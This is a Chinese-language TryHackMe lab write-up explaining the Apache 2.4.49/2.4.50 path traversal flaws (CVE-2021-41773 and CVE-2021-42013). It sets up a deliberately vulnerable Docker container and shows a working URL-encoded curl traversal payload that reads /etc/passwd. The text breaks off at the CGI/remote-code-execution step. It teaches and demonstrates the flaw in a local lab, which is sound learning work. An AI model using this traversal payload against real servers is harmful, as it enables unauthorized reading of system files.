CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
简要历史
2021 年 10 月 5 日,一个关于 Apache HTTP Server v2.4.49 路径遍历攻击的 CVE 被发布。编号为 CVE-2021-41773,描述如下:
在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以利用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果文档根目录之外的文件未受到"require all denied"的保护,这些请求可能成功。此外,此缺陷还可能泄露像 CGI 脚本这类已解释文件的源代码。已知该问题已在野外被利用。此问题仅影响 Apache 2.4.49,而不影响更早版本。
让我们分解一下,看看这实际上意味着什么:
多次修复之后……
于是 Apache 修复了这个漏洞并发布了 v2.4.50。故事结束了,对吧?嗯,并非如此。仅仅两天后,即 10 月 7 日,一个新的 CVE 被发布,引用了之前的 CVE。它提到早期路径遍历攻击的修复不完整,如果相关路径使用了 alias 指令将其 URL 映射到文件系统,我们仍然可以进行遍历。该 CVE 编号为 CVE-2021-42013,描述如下:
发现 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不充分。攻击者可以利用路径遍历攻击将 URL 映射到由类似 Alias 的指令配置的目录之外的文件。如果这些目录之外的文件未受到通常默认配置"require all denied"的保护,这些请求可能成功。如果这些别名路径上也启用了 CGI 脚本,则可能导致远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
和前一次一样,我们可以从中了解几点:
在我们消化这些疯狂信息的同时,下一任务将探讨所需配置。
回答以下问题
一点理论
路径遍历漏洞是一种通过滥用路径解析和/或规范化中的缺陷来访问通常不可访问的资源的攻击。我们通常通过使用 .. 语法向假设的根目录之外"行走"(也称为遍历)来利用此类攻击。
规范化?什么?
通常,在提供路径供代码查找文件时,绝对路径是必需的。我们称之为规范路径。相反,当给出相对路径时,必须将其规范化为规范形式,以便使用该路径的操作系统库能够找到相关资源。当然,这过于简化了,但要点仍然如此。
一般来说,存在平台库来为我们进行规范化,但在 C/C++ 中,我们通常需要自己完成所有工作。虽然这可以提供一些灵活性,但如果我们的实现不完美,也很容易引入缺陷。
规范化 URL
HTTP 服务器必须将 URL 转换为文件系统上的规范路径,以便找到正确的文件来提供。虽然肯定有某些过滤器来避免遍历到文档根目录之外,但某些用例可能很容易被遗漏。在这种情况下,漏洞不仅利用了 URL 编码(稍后会提到),还利用了 Alias 模块路径规范化中的缺陷(据称)。
关于 URL 编码的补充说明
定义于 RFC 3986 第 2 节,URL 编码是一种用于对 URL 中的特殊或保留字符进行编码的方案。例如,URL 中的空格被编码为 + 字符(特别是在查询参数中)。如果想编码一个实际的加号,必须使用所谓的"百分号编码"来编码。这只需在字符的 US-ASCII 十六进制代码前加上 % 符号。在我们的示例中,+ 符号可以编码为 %2B。
任何字符都可以进行 URL 编码,完全 URL 编码的 URL 在功能上等同于未编码的版本。来自 RFC:如果两个 URI 仅在百分号编码八位组中使用的十六进制数字的大小写不同,则它们是等价的。
那么 Apache 发生了什么?
Apache 服务器路径规范化模块中的一个近期更改允许一个特制的 URL 绕过过滤器并遍历到文档根目录之外,如果配置允许,则允许在系统上读取任意文件。此外,如果 CGI 模块已启用,则还可以执行任意文件!
回答以下问题
A) 包含服务器上要处理的任意远程文件。 B) 包含服务器上要处理的任意本地文件。 C) 允许服务器暴露任意文件。 D) 以上都不是。
为了乐趣而入侵 Apache
理论部分结束,现在让我们来利用这个漏洞。首先,我们需要一个易受攻击的 Apache 版本。幸好我们有 docker 可以用来做这个 :)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**配置**
为了让此漏洞利用生效,我们需要配置 Apache 以允许访问文档根目录之外的文件。我们可以精确指定某个目录,也可以选择 YOLO 路线,授予对所有内容的访问权限。就我们的目的而言,全面开放正好合适。首先,运行我们的容器并探查配置。请注意,这些修改适用于两个存在漏洞的 Apache 版本。```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
顺便提一下,你总是可以手动修改配置。我们想要修改的部分如下:``` AllowOverride none Require all denied
并将“denied”替换为“granted”。这将使Apache获得对整个文件系统的访问权限(这绝对不是一个好主意,所以千万不要在生产环境这样做。永远不要)。
**配置那个诱人的RCE**
仅仅修改访问控制会导致数据泄露,但不会产生RCE。为了在我们的简单PoC中获得RCE,我们除了设置访问权限外,还需要激活CGI模块。这样,当我们调用脚本时,CGI模块将执行它,而不仅仅是显示其内容。要启用CGI,我们只需取消注释LoadModule配置。假设我们仍然拥有之前修改过的容器,可以执行以下操作:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
当然,您可以使用任何可用的文本编辑器来修改文件。在容器内,由于没有文本编辑器可用,可以通过 Shell 使用 grep/sed 方法。
直接开始利用漏洞吧!
现在我们已经设置好了容器,终于可以开始利用这个 CVE 了。方法相当直接,涉及在遍历时将每个 URL 路径段中的一个 . 符号进行 URL 编码。我们还需要从一个别名路径开始遍历。幸运的是,我们从配置中得知 cgi-bin 路径默认是别名,所以就用它!漏洞利用在 2.4.49 和 2.4.50 版本之间略有不同,不过后者也适用于前者。
Apache 2.4.49 未启用 CGI
在未启用 CGI 的情况下,我们只能读取文件。使用 curl,只需访问我们想要的文件,在每个路径段中对一个 . 进行 URL 编码。```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49 启用 CGI**